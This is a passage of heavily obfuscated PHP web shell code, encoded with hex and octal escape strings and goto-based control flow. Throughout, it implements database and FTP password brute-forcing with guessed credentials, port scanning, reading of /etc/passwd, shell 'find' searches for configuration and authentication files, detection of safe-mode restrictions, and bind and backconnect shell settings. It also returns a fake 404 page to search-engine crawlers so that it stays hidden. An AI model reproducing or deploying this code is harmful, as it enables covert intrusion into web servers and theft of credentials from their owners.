"{$dbtype}\x20\x2d\40{$host}\72{$port}\40\x2d\40{$user}\x20" . $user . "\x31\15\xa"; $success++; } if ($res != "\166\x61\x6c\x69\x64" && $try4 == "\61") { $count++; $res = z4u($host, $user, z9i($user . "\61"), $port, $dbtype, $sqldb); if ($res == "\x76\141\154\151\x64") { echo "\133\x2b\135\40{$user}\72" . z9i($user . "\61") . "\x20\55\40\163\x75\x63\143\145\x73\x73\xd\12"; $log .= "{$dbtype}\x20\x2d\40{$host}\72{$port}\x20\x2d\x20{$user}\x20" . z9i($user . "\x31") . "\15\xa"; $success++; } } } if ($res != "\x76\x61\x6c\151\144" && $try3 == "\x31") { $count++; $res = z4u($host, $user, $user . "\61\62\63", $port, $dbtype, $sqldb); if ($res == "\x76\141\154\x69\144") { echo "\x5b\x2b\x5d\40{$user}\72" . $user . "\61\62\63\x20\55\x20\x73\x75\x63\x63\x65\x73\163\xd\xa"; $log .= "{$dbtype}\40\55\40{$host}\72{$port}\x20\x2d\40{$user}\40" . $user . "\x31\62\x33\15\12"; $success++; } if ($res != "\x76\x61\x6c\151\144" && $try4 == "\x31") { $count++; $res = z4u($host, $user, z9i($user . "\x31\x32\x33"), $port, $dbtype, $sqldb); if ($res == "\x76\x61\x6c\x69\144") { echo "\133\53\x5d\40{$user}\72" . z9i($user . "\x31\62\x33") . "\40\55\x20\x73\165\143\143\x65\163\x73\15\12"; $log .= "{$dbtype}\40\x2d\40{$host}\x3a{$port}\x20\55\x20{$user}\40" . z9i($user . "\x31\x32\x33") . "\xd\12"; $success++; } } } if ($res != "\166\x61\x6c\x69\x64" && $try4 == "\61") { $count++; $res = z4u($host, $user, z9i($user), $port, $dbtype, $sqldb); if ($res == "\x76\x61\x6c\151\144") { echo "\x5b\53\135\x20{$user}\72" . z9i($user) . "\x20\55\40\163\165\x63\143\x65\163\x73\xd\xa"; $log .= "{$dbtype}\x20\x2d\x20{$host}\x3a{$port}\x20\55\40{$user}\40" . z9i($user) . "\15\12"; $success++; } } } return array($count, $success, $log); } goto IkveK; rKvWm: function z3g($t, $s) { $l = @strlen($s); if (@substr($t, -$l) == $s) { while (@substr($t, -$l) == $s) { $t = @substr($t, 0, @strlen($t) - $l); } } return $t; } goto ClyUd; qbOwf: function z0l($p) { $r = ''; for ($i = 0; $i < @strLen($p); $i += 2) { $r .= @chr(@hexdec($p[$i] . $p[$i + 1])); } return $r; } goto VUgE4; UZyZd: function z3q($f, $t, $c) { if (@strstr($c, $f)) { while (@strstr($c, $f)) { $c = @str_replace($f, $t, $c); } } return $c; } goto XioVI; EXz0m: $sh_exec = $safe_exec = 0; goto GyRyH; m1obs: function z4s($f) { global $filealiases; $r = array(); if (@strstr($f, "\x2f")) { $f = z2h($f, "\57"); } $ext = @strtolower(z2h($f, "\56")); foreach ($filealiases as $k => $v) { if (@in_array($ext, $v)) { $r[] = $k; } } return @array_unique($r); } goto W5F2W; YWujY: function z9y($t, $s = '') { if (z7r("\146\x6f\160\145\156") && z7r("\146\167\x72\x69\x74\x65") && z7r("\x66\x63\154\x6f\163\x65") && ($f = @fopen($t, "\x77\142")) !== false) { @fwrite($f, $s); @fclose($f); } elseif (z7r("\x66\157\x70\145\156") && z7r("\x66\160\x75\x74\163") && z7r("\146\x63\154\x6f\x73\x65") && ($f = @fopen($t, "\167\x62")) !== false) { @fputs($f, $s); @fclose($f); } elseif (z7r("\146\151\x6c\145\x5f\x70\x75\x74\137\143\x6f\156\164\x65\156\164\163")) { return @file_put_contents($t, $s); } else { return 0; } return 1; } goto mMJM8; oImQt: $bmysql = z7r("\155\171\163\161\154\x5f\x63\x6f\156\156\x65\x63\164"); goto I1jhT; JtPmn: $bftp = z7r("\146\x74\x70\137\143\x6f\156\156\145\x63\164") && z7r("\x66\164\160\137\154\157\147\x69\156"); goto oupQq; XVFbW: function z3k() { $wwwdir = false; if (@isset($_SERVER["\123\103\x52\x49\x50\x54\x5f\116\x41\115\105"])) { $sn = z1i($_SERVER["\x53\x43\122\x49\120\124\137\116\x41\x4d\x45"]); if (@realpath($sn)) { $sp = z1i(@realpath($sn)); } else { $sp = z1i(@realpath(__FILE__)); } $wwwdir = z1a(@substr($sp, 0, @strpos($sp, $sn))); } return $wwwdir; } goto hcX9_; ka3bU: $yaddr = $_SERVER["\x52\x45\115\117\124\x45\137\x41\104\104\x52"]; goto cR7Pz; qsrym: function z1l($f, $t) { global $bcopy, $bcut; z0a(0); $u = $t == "\142\143\x6f\x70\171" ? "\x62\143\165\x74" : "\142\143\x6f\x70\171"; foreach (${$u} as $k => $v) { if (${$u}[$k] == $f) { unset(${$u}[$k]); } } if (!@in_array($f, ${$t})) { ${$t}[] = $f; } else { foreach (${$t} as $k => $v) { if (${$t}[$k] == $f) { unset(${$t}[$k]); } } } } goto qZ9_s; R1sKb: function z0d() { global $found, $nix, $sh_exec, $sn, $sn_reg, $s_in, $st, $st_reg, $st_wwo, $st_cs, $st_not, $s_fd, $s_rec; echo z2b(z9s("\61\64\x32")) . z6d(); $as_fd = array("\61" => z9s("\x31\64\x34"), "\x32" => z9s("\61\64\x35"), '' => z9s("\x31\64\x36")); $a_rec = array('' => z9s("\x32\61")); for ($i = 0; $i < 10; $i++) { $a_rec[$i + 1] = $i + 1 . "\x20" . z9s("\x31\x34\65"); } $a_rec["\156\157"] = z9s("\x32\62"); $a_paths = array("\x63\167\144" => "\143\x77\x64", "\x73\x79\163\164\x65\x6d" => "\x73\x79\163\164\145\x6d", "\142\x69\x6e" => "\50\163\x29\x62\x69\x6e\x20\144\x69\x72\163", "\x65\164\x63" => "\57\x65\x74\143"); echo z5c(array("\x64", "\141\143\164" => "\163\x65\x61\162\143\150", "\x66\164\141\162\x67\x65\x74" => "\x31"), z10e(z9f(z9j(z10e(z7i(z5t(z9s("\61\64\63")) . z9j(z6i("\x73\156", @htmlspecialchars($sn), "\62") . z4a("\x73\x5f\146\x64", $as_fd, "\x31", "\61") . z4a("\163\137\162\145\x63", $a_rec, "\x31", "\61") . z6p("\163\165\x62\x6d\151\164", z9s("\x31\x34\x37"), "\x37") . "\x20" . z5y("\163\x6e\137\162\145\x67", z9s("\61\x34\70"), "\x73\x6e\137\x72\x65\x67"))) . z7i(z5t(z9s("\61\x34\x39")) . z9j(z6i("\163\x5f\x69\x6e", htmlspecialchars($s_in), "\71")))) . z10e(z7i(z5t(z9s("\61\65\60")) . z9j(z6i("\163\x74", @htmlspecialchars($st), "\x39"))) . z7i(z5t('') . z9j(z5y("\x73\164\x5f\x72\145\x67", z9s("\x31\x35\x31"), "\163\164\137\x72\145\147") . z9c("\63") . z5y("\163\164\137\167\x77\x6f", z9s("\61\x35\62"), "\x73\x74\137\167\167\157") . z9c("\x33") . z5y("\163\x74\137\x63\163", z9s("\61\x35\x33"), "\163\x74\x5f\143\163") . z9c("\63") . z5y("\163\164\137\x6e\x6f\164", z9s("\x31\x35\x34"), "\x73\x74\137\x6e\x6f\164")))))))); echo z6d(); if ($nix && $sh_exec) { echo z2b(z9s("\x31\65\x35")) . z6d(); global $findaliases, $unixfind, $find_text, $find_in_dir, $find_in_files, $find_defined, $spath, $lsman; if (!@isset($spath)) { $spath = "\143\167\144"; } $find_result = ''; if (@isset($unixfind) && $unixfind == "\61" && @isset($find_text) && !@empty($find_text) && @isset($find_in_dir) && !@empty($find_in_dir) && @isset($find_in_files) && !@empty($find_in_files)) { $find_infiles = @array_unique(@explode("\73", $find_in_files)); foreach ($find_infiles as $find_in_file) { $find_result .= z9t("\146\151\x6e\x64\x20\42" . $find_in_dir . "\42\40\55\x6e\141\155\145\x20\42" . $find_in_file . "\x22\40\55\x70\162\151\156\164\x30\x7c\x78\x61\x72\147\163\x20\55\x30\40\147\162\145\x70\x20\55\105\40\x22" . $find_text . "\42", 0); } } echo z5c(array("\x64", "\x61\x63\x74" => "\x73\x65\141\162\143\x68", "\165\156\x69\x78\x66\x69\156\x64" => "\61"), z10e(z7i(z5t(z9s("\x31\65\x36")) . z9j(z6i("\146\x69\x6e\144\137\x74\145\x78\x74", @htmlspecialchars($find_text), "\x30") . z8v(z9s("\x31\x34\67"), "\x37"))) . z7i(z5t(z9s("\61\x34\71")) . z9j(z6i("\146\x69\156\x64\137\151\x6e\x5f\x64\151\162", @htmlspecialchars($find_in_dir), "\x39"))) . z7i(z5t(z9s("\x31\x35\67")) . z9j(z6i("\x66\151\x6e\144\137\x69\x6e\137\146\151\x6c\x65\163", @htmlspecialchars($find_in_files), "\x39"))))); echo z5c(array("\144", "\141\143\164" => "\x73\x65\141\162\143\150", "\165\156\151\x78\x66\x69\156\x64" => "\x32"), z10e(z7i(z5t(z9s("\x31\65\70")) . z9j(z2u("\146\x69\156\144\x5f\144\x65\x66\x69\x6e\x65\x64", $findaliases, "\x30", "\61") . z4a("\x73\x70\141\164\x68", $a_paths, "\x31", "\x31") . z8v(z9s("\61\x34\x37"), "\x37") . z5y("\154\x73\155\x61\x6e", z9s("\x31\x35\x39"), "\154\163\x6d\141\x6e", "\61"))))); echo z6d(); if (@isset($unixfind) && $unixfind == "\x32" && @isset($find_defined) && !@empty($find_defined)) { if ($spath == "\163\171\163\164\x65\155") { $rep = "\57"; } elseif ($spath == "\145\164\143") { $rep = "\57\145\x74\143"; } elseif ($spath == "\142\x69\x6e") { $rep = "\x2f\x62\151\156\40\x2f\x75\x73\x72\57\x62\151\156\40\57\165\x73\162\x2f\x6c\x6f\143\141\154\57\142\x69\156\40\57\x73\142\x69\156\40\x2f\x75\163\162\x2f\x73\142\x69\x6e\x20\57\x75\163\x72\x2f\x6c\x6f\x63\x61\x6c\57\x73\142\151\156"; } else { $rep = "\x22" . $find_in_dir . "\42"; } if (@isset($lsman) && $lsman) { $find_defined = @str_replace("\x20\x2d\154\x73", '', $find_defined); } $find_defined = @str_replace("\x25\160\x61\164\150\45", $rep, $find_defined); $find_result = z9t($find_defined, 0); } if (!@empty($find_result)) { if (@isset($lsman) && $lsman) { global $ls_a, $act, $fullpath, $nolsmenu, $nohead; $tls_a = @explode("\xa", $find_result); $ls_a = array(); foreach ($tls_a as $ls) { $ls = @trim($ls); if (!@empty($ls) && !@in_array($ls, $ls_a)) { $ls_a[] = $ls; } } if (@count($ls_a) > 0) { $act = "\x6c\163"; $fullpath = 1; $nolsmenu = 1; $nohead = 1; } } else { echo z10e(z9f(z6x(z5w('', "\61", 1) . @htmlspecialchars($find_result) . z5q())), "\x32") . z6d(); } } } } goto C7dAN; slWSx: $config = array("\166\x65\162\163\x69\157\x6e" => "\62\x2e\60\x2e\62\x30\x31\61\x2e\61\60\x30\71", "\141\165\164\150" => array("\x75\x73\x65\x5f\141\165\164\150" => 0, "\155\144\x35\x5f\165\163\145\x72" => "\x30\x39\70\x66\x36\x62\143\144\x34\66\x32\61\x64\63\x37\x33\143\141\x64\145\x34\x65\70\63\x32\66\x32\67\x62\64\146\x36", "\155\144\65\137\160\x61\163\163" => "\60\71\x38\146\x36\142\x63\144\64\x36\x32\61\x64\63\67\x33\143\141\144\145\64\x65\x38\63\x32\66\62\67\x62\64\146\x36"), "\144\x65\146\x61\x75\x6c\164\x5f\166\x61\x72\163" => array("\x6c\141\x6e\147\165\141\147\x65" => "\145\156", "\145\x6d\141\x69\x6c" => "\63\x73\141\154\155\141\x6e\x2e\x65\x6b\x68\x74\151\x61\162\61\147\x40\164\x68\145\163\164\x6f\x70\x70\x6c\x75\163\56\143\x6f\x6d", "\x64\x65\x66\x61\165\154\164\x5f\x73\x6f\162\x74" => "\x30\141", "\144\x65\146\x61\165\x6c\164\137\x61\143\164" => "\164\x6f\x6f\154\x73", "\x62\151\x6e\x64\137\x70\157\x72\x74" => "\63\61\x33\x33\67", "\142\x69\156\x64\137\x70\141\x73\163" => "\x50\x40\x35\x35\167\x30\x72\144", "\142\141\x63\x6b\x63\157\x6e\137\160\157\x72\164" => "\63\61\x33\x33\67", "\163\x71\x6c\x5f\150\157\x73\164" => "\x6c\157\x63\141\x6c\150\157\x73\164", "\163\x71\x6c\x5f\165\163\145\162" => "\x72\x6f\x6f\x74", "\x73\161\154\137\x64\x62" => "\x6d\171\163\161\x6c", "\x73\161\x6c\137\164\141\142\154\x65" => "\165\163\145\162\x73", "\x66\x74\160\x5f\165\163\145\162" => "\141\x6e\x6f\156\171\x6d\157\x75\163", "\x66\164\x70\x5f\160\141\x73\x73" => "\141\156\157\x6e\171\155\157\165\163\100\146\164\x70\56\143\x6f\x6d", "\144\x6f\x77\x6e\x6c\x6f\x61\x64\141" => "\x4d\x6f\172\x69\154\x6c\x61\x2f\x34\x2e\60\40\x28\x63\x6f\155\160\141\164\x69\x62\154\145\73\40\x4d\x53\111\105\40\x37\56\x30\73\x20\x57\x69\x6e\x64\157\167\163\x20\116\x54\40\x36\56\x31\x3b\x20\124\x72\151\144\145\156\164\57\64\56\x30\73\x20\123\114\103\103\x32\x3b\x20\56\116\x45\x54\x20\x43\x4c\122\x20\62\x2e\60\56\65\x30\67\x32\x37\73\40\56\x4e\105\x54\x20\103\x4c\x52\40\x33\x2e\65\56\63\x30\x37\x32\71\73\40\56\x4e\x45\124\40\x43\x4c\122"), "\142\141\x6e\156\x65\144" => array("\x61\x67\145\x6e\164\x73" => array("\x47\x6f\157\x67\x6c\145", "\x53\154\x75\162\x70", "\115\123\116\102\x6f\x74", "\151\x61\137\141\x72\143\150\x69\166\x65\162", "\x59\141\156\x64\x65\170", "\122\141\x6d\x62\154\145\162"), "\x73\145\156\x64\x5f\150\x65\141\144\x65\162" => "\110\x54\x54\120\57\x31\56\x30\40\64\x30\64\x20\x4e\157\x74\40\106\x6f\165\x6e\144"), "\x75\x73\145\x5f\142\x75\x66\x66\145\x72" => 1, "\x76\151\x73\x75\141\154" => array("\167\x69\144\164\150" => "\x31\x30\x32\64", "\x69\155\x61\147\x65\x73" => 1, "\163\x6b\151\156\x73" => array("\x64\x61\x72\153", "\154\151\x67\x68\x74"), "\x64\x65\146\141\x75\x6c\x74\137\x73\x6b\151\x6e" => "\154\x69\147\150\164", "\154\x69\147\150\x74" => array("\x62\157\144\171\142\x67" => "\43\67\x31\67\66\x37\x38", "\x74\x62\x61\162\x62\x67\61" => "\43\101\101\101\x41\101\101", "\164\142\x61\x72\x62\x67\62" => "\x23\102\x46\102\106\x42\106", "\164\142\x61\x72\142\157\162\144\145\162\164" => "\43\x42\x42\102\x42\x42\102", "\x74\x62\x61\162\142\157\x72\x64\x65\x72\x62" => "\x23\x41\101\x41\x41\101\x41", "\x74\157\160\x62\147\61" => "\x23\102\x42\102\x42\102\x42", "\x74\x6f\160\x62\147\x32" => "\x23\x43\x43\x43\103\103\103", "\x74\157\160\x62\x6f\162\x64\x65\162\x31" => "\43\x43\x44\103\x44\x43\104", "\x74\x6f\x70\143\x6f\154\x6f\x72" => "\43\63\63\x33\63\x33\x33", "\164\x6f\x70\163\150\x61\144\157\167" => "\x23\x44\104\104\x44\x44\x44", "\x74\154\x69\x6e\153\143\x6f\x6c\x6f\x72" => "\x23\63\63\63\x33\x33\63", "\164\x6c\151\156\153\x73\150\141\144\x6f\167" => "\43\104\104\x44\x44\104\104", "\x74\x6c\x69\156\153\x63\x6f\154\x6f\162\x68\x6f\x76\145\x72" => "\x23\60\60\60\x30\60\60", "\x71\154\x62\x67\61" => "\x23\x43\103\x43\103\x43\x43", "\161\x6c\x62\x67\x32" => "\x23\101\x41\101\101\x41\x41", "\x71\x6c\142\157\162\144\145\162" => "\x23\104\104\x44\104\104\104", "\x71\154\143\157\154\157\162" => "\x23\x32\x32\62\x32\62\x32", "\x71\x6c\x73\x68\x61\x64\157\x77" => "\43\104\x44\104\104\104\x44", "\161\154\143\157\154\x6f\162\x68\x6f\x76\x65\x72" => "\43\60\x30\x30\x30\x30\x30", "\146\157\157\164\145\162\x62\147\x31" => "\43\103\103\x43\103\x43\x43", "\x66\x6f\157\164\x65\x72\x62\x67\62" => "\43\x41\101\101\x41\101\101", "\146\157\x6f\164\x65\x72\142\157\162\x64\145\x72\61" => "\43\x42\x42\102\x42\102\102", "\x66\157\157\164\x65\162\x63\x6f\x6c\157\x72" => "\43\x33\63\x33\63\63\63", "\146\x6f\x6f\164\x65\x72\163\150\x61\x64\x6f\167" => "\43\104\104\x44\x44\104\104", "\164\141\x62\x6c\x65\x62\147" => "\x23\x46\62\106\62\x46\62", "\164\x61\142\154\145\163\x68\x61\x64\x6f\x77" => "\x23\x36\66\x36\66\66\x36", "\x74\141\142\x6c\x65\x62\x6f\x72\144\x65\x72" => "\43\67\x37\67\67\x37\67\40", "\145\x72\162\143\x6f\154\x6f\x72" => "\43\106\x46\60\x30\60\x30", "\x6f\x6b\143\x6f\x6c\157\162" => "\43\x30\x30\x38\62\x30\60", "\x6e\157\x72\x6d\141\x6c\x63\x6f\x6c\x6f\162" => "\43\63\63\x33\63\63\x33", "\144\x69\162\143\x6f\x6c\157\x72" => "\43\63\x33\x33\x33\x33\63", "\x66\x6f\156\x74\146\x61\x6d" => "\47\x73\141\x6e\163\55\x73\x65\162\151\146\x27\x2c\x73\141\x6e\x73\55\x73\145\162\x69\146", "\x66\157\156\x74\143\157\x6c\157\x72" => "\43\65\62\65\x32\65\62", "\x69\x64\151\x72\142\x6f\x72\x64\x65\x72" => "\43\62\x46\67\65\71\x35", "\151\x64\x69\x72\x62\x67\61" => "\43\71\x33\102\105\104\x37", "\x69\144\x69\162\x62\147\62" => "\43\x36\63\x41\60\103\x37", "\151\146\x69\x6c\x65\142\157\162\144\145\162" => "\43\143\x63\143\143\143\x63", "\x69\146\x69\154\145\x62\147\61" => "\43\106\x46\106\x46\x46\106", "\151\x66\x69\x6c\x65\x62\x67\x32" => "\x23\104\104\x44\104\104\104", "\x72\x65\x67\137\163\145\154\x66" => "\43\67\102\67\x38\x36\71", "\x72\145\x67\137\x69\156\x74\x65\x72\x65\163\164\x69\x6e\x67" => "\43\60\60\70\62\x30\60", "\x72\x65\147\137\x62\x61\144" => "\x23\x46\x46\x30\x30\x30\x30"), "\x64\x61\x72\153" => array("\x62\157\144\x79\x62\x67" => "\x23\x37\x31\67\66\x37\x38", "\x74\x62\x61\x72\142\147\x31" => "\x23\x31\64\x31\64\61\64", "\164\x62\x61\162\x62\x67\62" => "\x23\61\x31\61\61\61\x31", "\164\x62\141\162\x62\157\162\144\x65\x72\x74" => "\x23\x31\x31\61\x31\x31\x31", "\164\142\x61\x72\142\157\x72\144\x65\162\142" => "\43\60\x30\x30\x30\60\x30", "\164\x6f\x70\x62\x67\x31" => "\43\61\x31\x31\61\61\x31", "\x74\x6f\x70\x62\147\62" => "\x23\x32\x32\62\x32\62\x32", "\x74\x6f\x70\x62\157\162\x64\145\x72\x31" => "\x23\62\x32\x32\62\62\x32", "\x74\157\x70\143\x6f\154\157\162" => "\43\x43\x43\103\x43\103\x43", "\x74\157\160\x73\x68\x61\144\x6f\x77" => "\43\x30\x30\60\x30\x30\60", "\x74\x6c\151\156\x6b\143\157\154\x6f\162" => "\x23\104\104\104\x44\104\x44", "\164\x6c\x69\x6e\153\163\x68\x61\144\x6f\167" => "\43\60\x30\x30\60\60\60", "\x74\154\151\x6e\153\x63\157\x6c\x6f\x72\x68\157\x76\x65\162" => "\x23\106\106\x46\106\x46\x46", "\x71\154\x62\147\x31" => "\43\62\x32\62\62\62\62", "\161\154\x62\x67\x32" => "\x23\x31\61\61\61\x31\x31", "\x71\154\142\x6f\162\x64\145\x72" => "\x23\x33\63\x33\x33\63\x33", "\161\154\143\157\154\x6f\x72" => "\43\106\x33\x46\63\106\63", "\x71\x6c\163\150\x61\x64\x6f\167" => "\x23\x30\101\60\x41\x30\x41", "\161\154\143\x6f\154\x6f\x72\150\157\x76\145\162" => "\x23\106\106\x46\106\x46\x46", "\x66\x6f\x6f\164\x65\x72\142\147\x31" => "\x23\61\x34\x31\x34\61\64", "\x66\157\x6f\164\x65\162\x62\x67\x32" => "\x23\61\x31\x31\x31\x31\x31", "\146\157\x6f\164\x65\x72\142\x6f\x72\144\x65\162\x31" => "\x23\63\63\63\x33\63\63", "\x66\157\x6f\x74\x65\x72\x63\x6f\154\157\162" => "\43\x43\x43\x43\103\x43\103", "\x66\x6f\157\x74\x65\x72\163\x68\x61\x64\157\167" => "\43\60\x30\60\x30\60\x30", "\164\x61\x62\x6c\x65\142\x67" => "\43\x46\x32\x46\x32\106\x32", "\x74\x61\142\154\145\163\150\x61\144\157\167" => "\x23\x34\x34\x34\x34\x34\x34", "\x74\x61\142\154\145\142\x6f\x72\x64\x65\162" => "\43\x36\66\66\x36\66\x36", "\145\162\162\143\x6f\x6c\157\162" => "\43\x46\x46\60\60\x30\60", "\x6f\153\143\x6f\154\x6f\x72" => "\x23\60\60\70\x32\60\60", "\156\157\x72\155\x61\154\143\157\x6c\157\x72" => "\43\63\x33\63\x33\x33\x33", "\144\151\x72\x63\x6f\x6c\157\162" => "\x23\x33\x33\63\x33\63\x33", "\x66\157\x6e\164\x66\x61\x6d" => "\x27\163\141\156\163\55\x73\145\x72\151\146\47\54\x73\141\156\x73\x2d\x73\145\162\x69\146", "\x66\157\156\164\x63\157\154\x6f\162" => "\43\65\62\65\x32\x35\x32", "\151\x64\x69\162\142\x6f\x72\144\x65\162" => "\x23\x32\x46\67\x35\x39\65", "\151\x64\x69\162\x62\147\x31" => "\43\x39\63\x42\x45\x44\67", "\151\144\151\162\x62\147\x32" => "\x23\x36\x33\101\60\x43\x37", "\151\x66\151\x6c\x65\142\x6f\162\x64\x65\x72" => "\43\143\x63\143\x63\143\143", "\151\x66\x69\154\x65\x62\147\x31" => "\x23\x46\x46\106\x46\106\x46", "\x69\x66\151\154\x65\x62\x67\62" => "\x23\104\x44\x44\x44\104\104", "\162\x65\x67\137\x73\145\x6c\146" => "\43\x37\x42\x37\x38\66\x39", "\x72\145\147\x5f\x69\x6e\164\x65\162\145\163\x74\151\156\147" => "\x23\x30\x30\x38\62\x30\x30", "\x72\145\x67\x5f\142\x61\x64" => "\x23\106\106\60\60\60\x30")), "\162\145\x67\137\x69\x6e\164\x65\162\145\x73\x74\151\156\147" => array("\144" => array("\142\141\143\x6b\165\160", "\141\144\x6d\x69\156"), "\146" => array("\x63\x6f\156\146\x28\x2e\52\x29\134\56\x70\x68\x70\x24", "\x5c\56\163\161\x6c\x24", "\x5c\56\144\x62\x24", "\x61\165\x74\150\x28\x2e\x2a\x29\134\56\160\150\x70\44")), "\x72\145\147\x5f\x62\x61\x64" => array("\x64" => array("\162\x6f\157\164"), "\146" => array("\151\160\x74\141\x62\154\x65\x73", "\x69\160\143\150\141\151\156\x73"))); goto TVkpg; QNgWP: function z5b($l, $i) { return z6x(z8e($l) . $i, "\61"); } goto yPU8P; cR7Pz: $bsafe = !z7r("\151\x6e\x69\137\147\x65\164") || z8l("\163\x61\x66\x65\137\x6d\157\x64\x65") || !$sh_exec ? 1 : 0; goto VIAuM; zKZd2: function z1i($t) { $t = @str_replace("\x5c", "\x2f", $t); if (@strstr($t, "\57\x2f")) { while (@strstr($t, "\x2f\57") !== false) { $t = @str_replace("\x2f\x2f", "\x2f", $t); } } return $t; } goto UO5J7; bNKuR: function z8a($d, $t) { return z4f($d, $t, 1); } goto f3HO3; s0QaI: function z9j($i, $c = '', $s = '') { return z7k($c, $s) . $i . z7g(); } goto O_Fet; MzhuR: function z0e($errno, $errstr, $errfile, $errline) { global $safeDirArr, $c, $i; preg_match("\43\123\101\106\x45\134\163\x2b\115\117\x44\x45\x5c\163\53\122\145\163\164\162\151\143\x74\151\x6f\156\x5c\163\53\x69\156\x5c\x73\x2b\x65\x66\x66\145\x63\x74\50\x2e\x2a\x29\x6e\x6f\x74\x5c\163\x2b\141\x6c\x6c\157\x77\x65\x64\134\x73\x2b\x74\157\x5c\x73\x2b\141\x63\143\145\163\x73\134\163\x2b\50\x2e\52\51\134\x73\x2b\x6f\167\156\x65\x64\134\163\x2b\142\x79\134\x73\53\165\x69\x64\50\x2e\52\51\43", $errstr, $o) || preg_match("\43\157\160\145\x6e\x5f\142\x61\163\x65\144\151\x72\x5c\163\x2b\162\x65\x73\164\x72\x69\143\164\x69\157\156\x28\x2e\x2a\51\106\x69\x6c\x65\x5c\x73\52\x5c\x28\50\x2e\52\51\134\51\134\163\x2b\x69\x73\134\x73\x2b\156\157\x74\43", $errstr, $o); if ($o) { $safeDirArr[$c] = $o[2]; $c++; } } goto Q_zdi; W2E1l: if (@isset($showrename1) && $showrename1) { echo z2b(z5c(array("\141\x63\164" => "\x64", "\x64", "\144\164" => "\162\x65\x6e\x61\x6d\x65", "\x74\164", "\144\x72\x65\x6e\x61\x6d\x65" => "\x31"), z10e(z7i(z6x(z8e(z9s("\x34\x37\63", z2h($tt))) . z5u("\156\145\x77\x6e\141\x6d\145", $tt, "\x39") . z8v(z9s("\67\x33"), "\67"))), "\62")), "\x30"); } goto bdx4m; Lg8u5: function z6c($i, $n, $c = '', $s = '') { return z6o($n, $c, $s) . $i . z7g(); } goto UA1KG; oWcYY: function z6p($n, $i, $c = '', $s = '') { return "\74\151\x6e\160\165\x74\40\164\x79\160\145\x3d\x22\x73\165\x62\x6d\x69\164\x22\40" . ($n != '' ? "\40\156\x61\x6d\x65\x3d\42" . $n . "\42" : '') . "\166\141\x6c\x75\145\75\42" . z8x($i) . "\x22" . ($c != '' ? "\40\143\x6c\141\163\163\75\42" . z4m($c, "\x35") . "\x22" : '') . ($s != '' ? @is_numeric($s) ? z10t($s) : $s : '') . "\x3e"; } goto sAQAM; QuCQY: function z8c($i, $s, $e) { $p = ''; $k = array("\x38\60" => "\x57\x65\142\163\x65\x72\x76\145\162", "\x34\x34\x33" => "\117\x70\145\x6e\x53\x53\114", "\x33\x33\x30\x36" => "\x4d\x79\123\x51\114", "\65\x34\x33\62" => "\120\x6f\163\x74\147\162\145\x53\x51\x4c"); if (z7r("\x66\x73\157\143\x6b\x6f\x70\145\x6e") && z7r("\163\x74\x72\145\x61\x6d\137\163\145\x74\x5f\164\151\x6d\145\x6f\165\164")) { for ($n = $s; $n <= $e; $n++) { $c = @fsockopen($i, $n, $en, $es, 1); if ($c) { @stream_set_timeout($c, 0, 50000); $t = @preg_replace("\x2f\50\15\x7c\12\174\x5b\136\x61\x2d\172\60\55\71\137\x26\x25\x3a\x3b\134\x2e\x2c\134\x5b\134\x5d\x5c\50\x5c\51\134\163\x2d\x5d\x29\57\x69", '', @fread($c, 100)); $t = @isset($k[$n]) ? $k[$n] . "\x20" . $t : $t; if (@empty($t)) { $t = "\117\x70\145\156"; } $p .= "\133{$i}\x5d\40\x20\40\x50\x6f\162\x74\x20{$n}" . (@strlen($n) < 5 ? @str_repeat("\40", 5 - @strlen($n)) : '') . "\x20\40\40{$t}\xd\12"; @fclose($c); } } } return $p; } goto oBO9b; teEkD: function z8i() { $u = array(); $p = z9p("\57\x65\x74\x63\57\x70\141\163\163\x77\x64"); if ($p) { $ll = @explode("\12", $p); foreach (@array_unique($ll) as $l) { $s = @explode("\x3a", $l); if (@isset($s[0]) && @isset($s[2]) && @isset($s[3]) && @isset($s[5]) && @isset($s[6]) && !@isset($u[$s[0]])) { $u[$s[0]] = array($s[2], $s[3], $s[5], $s[6]); } } } elseif (z7r("\160\x6f\x73\x69\x78\137\x67\145\164\x70\167\165\x69\x64")) { for ($i = 0; $i < 65535; $i++) { $a = @posix_getpwuid($i); if ($a && @is_array($a)) { if (@isset($a["\x6e\x61\155\x65"]) && !@empty($a["\x6e\141\x6d\x65"]) && !@isset($u[$a["\156\x61\155\145"]])) { $u[$a["\156\141\155\145"]] = array($a["\x75\151\x64"], $a["\147\151\144"], $a["\x64\151\x72"], $a["\x73\x68\145\x6c\154"]); } } } } return $u; } goto ft0rk; yPBNv: function z7h($c = '', $s = '') { return z6z("\x63\x65\156\164\145\x72", $c, $s); } goto qgHsQ; eT1cN: function z2z() { global $d; echo z2b(z10e(z7i(z6x(z5c(array("\x61\x63\164" => "\146", "\x64"), z8e(z9s("\x33\x35")) . z6i("\x66", $d, "\60") . z4a("\x66\x74", array("\146\x75\156\143\164\151\157\x6e\x73" => z9s("\x37\64"), "\x65\x64\151\164" => z9s("\67\65"), "\x6e\x65\x77" => z9s("\61\71\x35")), "\61") . z8v("\46\x72\x61\161\165\x6f\x3b", "\x37")), '') . z6x(z5c(array("\141\x63\164" => "\144", "\144\157\x6c\x64" => $d), z8e(z9s("\x33\x36")) . z6i("\144", $d, "\x30") . z4a("\144\x74", array("\143\150\144\x69\x72" => z9s("\x34\62\65"), "\x6e\145\167" => z9s("\61\71\65")), "\x31") . z8v("\x26\162\x61\x71\x75\x6f\x3b", "\67")), '')), "\62"), ''); } goto KG3or; vEqp2: function z2h($t, $s = "\x2f") { $e = z1k($t, $s); return @count($e) == 2 ? $e[1] : $t; } goto LBfQ1; KG3or: function z5r($s) { $a = @preg_replace("\x2f\x5b\x5e\60\55\71\x5d\x2f", '', $s); if (@empty($a)) { $a = "\x30"; } $b = @substr($s, -1); if ($b != "\144") { $b = "\141"; } return array($a, $b); } goto lyEMK; z2vJk: function z7b($d, $t) { return z4f($d, $t); } goto bNKuR; xYCKC: if (!@isset($use_buffer)) { if (@isset($_SESSION["\x75\x73\x65\x5f\142\x75\146\x66\x65\x72"])) { $use_buffer = $_SESSION["\165\x73\x65\x5f\142\165\x66\146\145\x72"]; } else { $use_buffer = z7x("\x34"); } } else { $use_buffer = (bool) (int) $use_buffer; if (!$use_buffer) { z0a(); } } goto BvMGV; JkqMK: if (@isset($lsall) && @isset($action) && $action != '') { $lsall_arr = array(); $tlsall_arr = @explode("\12", $lsall); foreach ($tlsall_arr as $tls) { $tls = @trim($tls); if (!@empty($tls) && !@in_array($tls, $lsall_arr)) { $lsall_arr[] = $tls; } } if (@count($lsall_arr) > 0) { foreach ($lsall_arr as $dfls) { if 